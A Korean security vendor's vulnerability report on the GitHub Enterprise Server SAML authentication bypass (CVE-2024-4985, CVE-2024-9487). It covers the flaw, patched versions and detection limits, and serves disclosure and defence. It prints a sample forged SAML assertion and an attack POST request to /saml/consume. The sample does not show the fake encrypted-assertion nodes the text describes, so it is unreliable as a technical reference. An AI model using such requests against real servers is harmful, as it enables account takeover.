TA팀에서 “Github Enterprise Server 인증 우회” 취약점을 분석하여 작성한 취약점 보고서
해당 취약점은 깃허브 엔터프라이즈 서버(GHES)의 인증 우회 취약점으로, 서명 확인 작업을 우회하고 SAML SSO 인증 및 암호화 지원이 활성화된 GHES 서비스에 조작된 SAML 요청을 전송하여 GHES 임의 계정에 접근하는 공격으로 이어질 수 있습니다.
해당 취약점은 GHES 3.11.16, 3.12.10, 3.13.5 및 3.14.2에 패치되었으며, AIWAF는 관련 취약점을 지속적으로 모니터링하고 있습니다.
1. 개요
Github는 분산 버전 관리 툴인 Git 호스팅 기능을 지원하는 서비스로, 해당 서비스의 유료 플랜인 Github Enterprise Server (GHES)에서 발생한 인증 우회 취약점인 CVE-2024-4985 및 CVE-2024-9487에 대해 분석한 내용을 정리하였습니다.
출처 : https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
2. 공격 유형
Github Enterprise Server ( 이하 GHES )는 SAML SSO 인증과 암호화 Assertion 기능을 사용하여 인증 과정을 진행하는데, 이때 암호화 Assertion 기능은 기본적으로 비활성화되어 있으나 이를 활성화 한 GHES의 경우 해당 취약점의 영향을 받게 됩니다.
암호화 Assertion 기능을 활성화 한 GHES에서는 인증 과정에서 Assertion 블록 외부에 서명이 있는지, 블록 내 전체 서명 및 부모 Assertion의 ID 일치 여부 등을 확인하여 공격자가 서명을 조작해 악의적인 Assertion을 삽입하는 공격을 방지합니다.
다만 해당 검증 과정은 Assertion 서명 자체는 검증되지 않는다는 허점이 존재해, 공격자는 IDP로부터 유효한 SAMLResponse를 확보, 해당 SAML에 조작된 가짜 Assertion 노드를 추가하여 암호화된 Assertion 서명이 존재하는 것처럼 유도하여 검증 과정을 우회, GHES 임의 계정에 접근할 수 있습니다.
임의 GHES URL ( https://your-ghes-instance.com )로 작성한 SAML 데이터 :
<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
<Audience>https://your-ghes-instance.com</Audience>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
<SubjectConfirmationData>
<NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
</SubjectConfirmationData>
</SubjectConfirmation>
<AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
<AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
</AuthnStatement>
<AttributeStatement>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
</AttributeStatement>
</Assertion>
Nuclei 템플릿 기반 공격 Request :
POST /saml/consume HTTP/1.1
Content-Length: 1227
Content-Type: application/x-www-form-urlencoded
Cookie: saml_csrf_token=sample_token; saml_csrf_token_legacy=sample_token
Host: www.test.com
User-Agent: HTTPie
RelayState=sample_token&SAMLResponse=%3CAssertion+ID%3D%221234567890%22+IssueInstant%3D%222024-05-21T06%3A40%3A00Z%22+Subject%3D%22CN%3DJohn+Doe%2COU%3DUsers%2CO%3DAcme+Corporation%2CC%3DUS%22%3E%3CAudience%3Ehttps%3A%2F%2Fyour-ghes-instance.com%3C%2FAudience%3E%3CSubjectConfirmation+Method%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aassertion%3Amethod%3Abearer%22%3E%3CSubjectConfirmationData%3E%3CNameID+Type%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Anameid-type%3Apersistent%22+Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Anameid-format%3Abasic%22%3Ejdoe%3C%2FNameID%3E%3C%2FSubjectConfirmationData%3E%3C%2FSubjectConfirmation%3E%3CAuthnStatement+AuthnInstant%3D%222024-05-21T06%3A40%3A00Z%22+AuthnContextClassRef%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aassertion%3AAuthnContextClassRef%3Aunspecified%22%3E%3CAuthnMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3AmethodName%3Apassword%3C%2FAuthnMethod%3E%3C%2FAuthnStatement%3E%3CAttributeStatement%3E%3CAttribute+Name%3D%22urn%3Aoid%3A1.3.6.1.4.1.11.2.17.19.3.4.0.10%22%3EAcme+Corporation%3C%2FAttribute%3E%3CAttribute+Name%3D%22urn%3Aoid%3A1.3.6.1.4.1.11.2.17.19.3.4.0.4%22%3Ejdoe%40acme.com%3C%2FAttribute%3E%3C%2FAttributeStatement%3E%3C%2FAssertion%3E
3. 대응 방안
해당 취약점은 초기 공개 시 CVE-2024-4985 CVE 코드를 받고 GHES 3.9.15, 3.10.12, 3.11.10 및 3.12.4 버전에서 수정되었으나, 수정 패치로 해당 취약점이 완벽하게 대응되지 않는 점이 발견되어 CVE-2024-9487 CVE 코드를 받고 GHES 3.11.16, 3.12.10, 3.13.5 및 3.14.2 버전에서 다시 수정되었습니다.
해당 취약점의 경우 조작된 가짜 Assertion 노드를 삽입하여 검증 단계를 우회하는 취약점으로 AIWAF에서 패턴으로 대응할 시 정상 요청을 탐지할 가능성이 높아 패턴으로 대응 가능한 영역이 아닌 것으로 보여집니다.
4. 결론
Github Enterprise Server는 Github 플랫폼의 호스팅 서비스로, 많은 고객 및 기업에서 사용되고 있는 만큼 해당 서비스에서 발생한 인증 우회 취약점은 큰 파급력 및 영향력을 지닌 취약점이기에, Github Enterprise Server를 사용하는 기업 및 고객은 해당 서비스를 항상 최신 버전으로 패치를 진행하여야 합니다.
저희 AIWAF 제품에서는 Github 및 Github Enterprise Server에서 발생하는 취약점들에 대해 지속적으로 모니터링하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.
5. 참고
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
- https://hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
- https://hawk-eye.io/2024/10/cve-2024-9487-critical-vulnerability-affecting-github-enterprise-server/